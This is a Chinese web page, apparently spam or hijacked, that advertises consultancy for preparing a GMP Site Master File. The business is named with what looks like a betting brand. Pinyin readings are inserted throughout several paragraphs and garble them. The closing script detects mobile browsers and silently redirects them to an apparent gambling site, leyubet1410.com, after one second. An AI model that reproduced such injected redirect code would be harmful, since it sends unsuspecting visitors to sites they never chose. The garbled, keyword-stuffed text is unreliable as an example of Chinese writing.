酷游登路

工厂主文件

掌握GMP体系需要知道体系中的每个细节,对于官方检查或客户审计而言,亦是如此。
工厂主文件就是为了满足这样的要求而起的一份概述性文件,它详细地记录和描述了GMP体系的所有基本元素,为制药企业和官方检查提供了一份关于工厂操作、工厂体系已建立的GMP程序的系统性的总结概要。

工厂主文件(SMF)的结构和内容

工(gong)厂(chang)主(zhu)(zhu)(zhu)文(wen)件的(de)(de)结构和内容(rong)要(yao)求主(zhu)(zhu)(zhu)要(yao)是由指南(nan)文(wen)件决(jue)定的(de)(de),如欧(ou)盟卷4的(de)(de)第三(san)部分“主(zhu)(zhu)(zhu)文(wen)件准(zhun)备(bei)的(de)(de)解释性说明”就对工(gong)厂(chang)主(zhu)(zhu)(zhu)文(wen)件提出了相(xiang)关要(yao)求。工(gong)厂(chang)主(zhu)(zhu)(zhu)文(wen)件需作为质量(liang)管理的(de)(de)一部分进行管理,必须给(ji)予文(wen)件编号、正式批准(zhun),并进行定期(qi)审核(he)。主(zhu)(zhu)(zhu)文(wen)件的(de)(de)内容(rong)应具(ju)体,但(dan)页数尽量(liang)不超过25-30页。酷游登路专家在准(zhun)备(bei)这些准(zhun)确、具(ju)体的(de)(de)文(wen)件方(fang)面具(ju)有(you)丰(feng)富的(de)(de)经验。

工厂主文件的细节很重要

与其(qi)(qi)他(ta)需(xu)要(yao)维(wei)(wei)护的(de)(de)(de)文(wen)(wen)件一(yi)样,在(zai)准(zhun)备主文(wen)(wen)件的(de)(de)(de)过(guo)程中有许多方(fang)面可能(neng)导致出错(cuo),其(qi)(qi)中潜在(zai)的(de)(de)(de)问(wen)题包括:将(jiang)太多的(de)(de)(de)外(wai)部文(wen)(wen)件(可能(neng)还有特定版本)错(cuo)误(wu)地引用到(dao)非(fei)常详细(xi)、需(xu)要(yao)不(bu)断更新变化(hua)的(de)(de)(de)数字(zi)列表(biao)或(huo)人员名字(zi)列表(biao)中。这(zhei)将(jiang)使(shi)得(de)文(wen)(wen)件的(de)(de)(de)后续(xu)维(wei)(wei)护变得(de)非(fei)常复杂!做好这(zhei)一(yi)步的(de)(de)(de)关键(jian)是:在(zai)开始准(zhun)备文(wen)(wen)件时就要(yao)认(ren)清(qing)并避免这(zhei)些(xie)已知的(de)(de)(de)错(cuo)误(wu)来源。如(ru)果您缺乏相(xiang)关经验,可以(yi)借助于特定的(de)(de)(de)咨询服务。酷游登路具(ju)备工厂主文(wen)(wen)件的(de)(de)(de)专业知识,清(qing)楚(chu)这(zhei)其(qi)(qi)中的(de)(de)(de)内容要(yao)求以(yi)及如(ru)何(he)避免不(bu)必要(yao)发生的(de)(de)(de)问(wen)题。

如何准备工厂主文件?

准备工厂(chang)主(zhu)文件时,如果不清楚(chu)工厂(chang)的(de)(de)所有细节怎么(me)办?事实上这(zhei)需(xu)要与客户的(de)(de)通力合作。需(xu)要作为主(zhu)文件的(de)(de)基础并且通常(chang)可以快速(su)提供的(de)(de)具体文件的(de)(de)定义会使得该工作显得更(geng)加容易。酷游登路利(li)用(yong)有效的(de)(de)检查(cha)清单和问卷,以明确(que)的(de)(de)顺序执行项目:收(shou)集(ji)信息、短访、草(cao)稿准备、讨论、完成,步骤(zhou)清晰、过程明确(que)。

工厂主文件具备更多的功能

工厂主文件不应仅仅是为了满足法规要求或使官方的定位更容易而准备的。如今,许多客户在客户审计或第三方审计过程中,这个文件都会作为企业良好GMP质量体系体现的核心文件,提供给客户查看。工厂主文件可以在客户或官方审计的第一天首次会议,即进行公司介绍时,就摆放在会议桌上,以便检查人员核实查证部分审计内容。酷游登路将告知您:要写好这类文件,应该考虑什么因素,文件需要包含什么内容、不需要什么内容。

您将获得:

  • 酷游登路专家提供的专业指导:如何设计一份工厂主文件?它应包含什么内容?
  • 避免其他企业曾经犯过的错误
  • 准备一份工厂主文件,用于多种用途
  • 一份符合官方建议和现行要求的工厂主文件
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();